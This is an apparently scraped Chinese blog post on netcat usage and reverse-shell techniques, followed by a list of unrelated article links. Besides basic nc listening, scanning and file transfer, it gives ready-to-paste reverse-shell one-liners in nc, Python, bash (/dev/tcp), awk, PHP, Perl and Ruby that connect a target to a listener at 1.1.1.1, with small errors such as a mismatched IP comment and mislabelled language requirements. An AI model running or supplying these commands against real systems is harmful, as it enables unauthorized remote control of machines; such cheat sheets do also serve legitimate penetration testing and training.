当前位置: 首页 > news >正文

nc的多种使用场景和各种反向shell方法

nc常见参数说明

-l  //使用监听模式
-p  //设置本地主机使用的通信端口
-v  //详细输出
-e  //程序重定向
-n  //直接使用ip地址(不通过域名服务器
-z  //扫描端口时使用
>  //接收文件 后面加将接收的文件命名,例如>1.txt 意为将接受的文件命名为1.txt
<  //发送文件

常用命令

  • 端口监听

nc -l -p 9999
  • 端口扫描

nc -v 192.168.11.138 80 //扫描指定主机的端口
​
nc -v -z 192.18.11.138 20-1024  //扫描指定主机的某个端口段
  • 文件传输

nc -lp 333 >1.txt   //监听本地端口接收文件,将接收的文件重命名为1.txt
​
nc -vn 192.168.1.4 333 < test.txt -q 1  //与vps主机的333端口建立连接,并传输一个名为test.txt的文件
  • 简易聊天

# vps主机监听888端口
nc -l -p 888
​
# 目标主机连接vps的端口
nc -vn 192.168.1.4 888
  • 获取shell

shell分为正向和反向。如果客户端连接服务器,客户端想要获取服务器shell,称为正向shell。如果客户端连接服务器,服务器想要获取客户端shell,称为反向shell。(通俗来说,就是谁输入了/bin/sh类似的命令,谁的shell被拿)
​
反向shell通常用在开启了防火墙措施的目标机器上,例如防火墙过滤,端口转发等。(因为需要获取目标主机的shell才能进行下一步操作)
​
# 正向shell
正向shell即vps在自己的端口输出shell,客户端只监听vps的端口,客户端获取了服务器的shell
​
客户端:nc vps 444 //客户端监听vps的444端口
vps:nc -lvp 444 -e /bin/sh    //vps监听自己的端口并且把shell转发到这个端口,谁访问了这个端口谁拥有vps的shell
​
​
# 反向shell
反向shell即客户端输出shell给vps的指定端口,vps只监听端口,vps获取了客户端的shell
​
客户端:nc vps 999 -e /bin/sh  //监听vps的999端口,并将自己的shell转发给999端口
vps:nc -lvp 999
​
​

当目标主机没有nc时获取反向shell

python反向shell

# 原理
当目标主机没有nc工具时,但是有python环境,可利用python环境将shell反弹
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标主机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'    //10.10.14.1为vps的ip,2222为vps监听的端口
​
成功之后vps会获得目标主机的shell

bash反向shell

# 原理
只适用于目标机器是linux
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
/bash -i >& /dev/tcp/1.1.1.1/2222 0>&1
​
成功之后会vps获取shell
不成功原因:例如提示提示没有/dev/tcp 
参考链接:https://evilpan.com/2021/04/25/reverse-shell/
​
可以尝试awk获取shell

awk反向shell

# 原理
只适用于linux系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/2222"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
​
成功之后会获取目标机器的shell,并且所在目录是/dev

php反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
php -r '$sock=fsockopen("1.1.1.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

perl反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
perl -e 'use Socket;$i="1.1.1.1";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

rudy反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
ruby -rsocket -e 'c=TCPSocket.new("1.1.1.1","4443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【MySQL】什么是事务?在高并发场景使用事务会出现什么问题,该如何解决
  • 数据结构与算法 - 图
  • EFCore中结合Dapper执行SQL任意查询
  • 初识C++:开启C++之旅
  • Angular组件概念
  • 基于 Android studio 实现停车场管理系统--原创
  • Java String 去掉特殊字符之前的内容方法
  • 实训日记day29
  • 主成分分析(PCA)
  • 自然语言处理(NLP)--数据增强
  • 文本纠错实现定位与标记
  • JMeter进阶技巧:参数化与数据驱动测试
  • Polars简明基础教程八:Series 和 DataFrame 以及它们之间的转换_B
  • Qt窗口交互场景、子窗口数据获取
  • AcWing 723. PUM
  • SegmentFault for Android 3.0 发布
  • bootstrap创建登录注册页面
  • GitUp, 你不可错过的秀外慧中的git工具
  • JavaScript函数式编程(一)
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • php ci框架整合银盛支付
  • Vue全家桶实现一个Web App
  • 第2章 网络文档
  • 对超线程几个不同角度的解释
  • 对象管理器(defineProperty)学习笔记
  • 诡异!React stopPropagation失灵
  • 扑朔迷离的属性和特性【彻底弄清】
  • 前端路由实现-history
  • 巧用 TypeScript (一)
  • 使用putty远程连接linux
  • 通过git安装npm私有模块
  • 一份游戏开发学习路线
  • 不要一棍子打翻所有黑盒模型,其实可以让它们发挥作用 ...
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ‌JavaScript 数据类型转换
  • ‌前端列表展示1000条大量数据时,后端通常需要进行一定的处理。‌
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • # C++之functional库用法整理
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • #《AI中文版》V3 第 1 章 概述
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • #考研#计算机文化知识1(局域网及网络互联)
  • (0)Nginx 功能特性
  • (11)MATLAB PCA+SVM 人脸识别
  • (16)Reactor的测试——响应式Spring的道法术器
  • (2024)docker-compose实战 (9)部署多项目环境(LAMP+react+vue+redis+mysql+nginx)
  • (2024最新)CentOS 7上在线安装MySQL 5.7|喂饭级教程
  • (ISPRS,2021)具有遥感知识图谱的鲁棒深度对齐网络用于零样本和广义零样本遥感图像场景分类
  • (Mirage系列之二)VMware Horizon Mirage的经典用户用例及真实案例分析
  • (二)正点原子I.MX6ULL u-boot移植
  • (牛客腾讯思维编程题)编码编码分组打印下标(java 版本+ C版本)
  • (详细版)Vary: Scaling up the Vision Vocabulary for Large Vision-Language Models
  • ******之网络***——物理***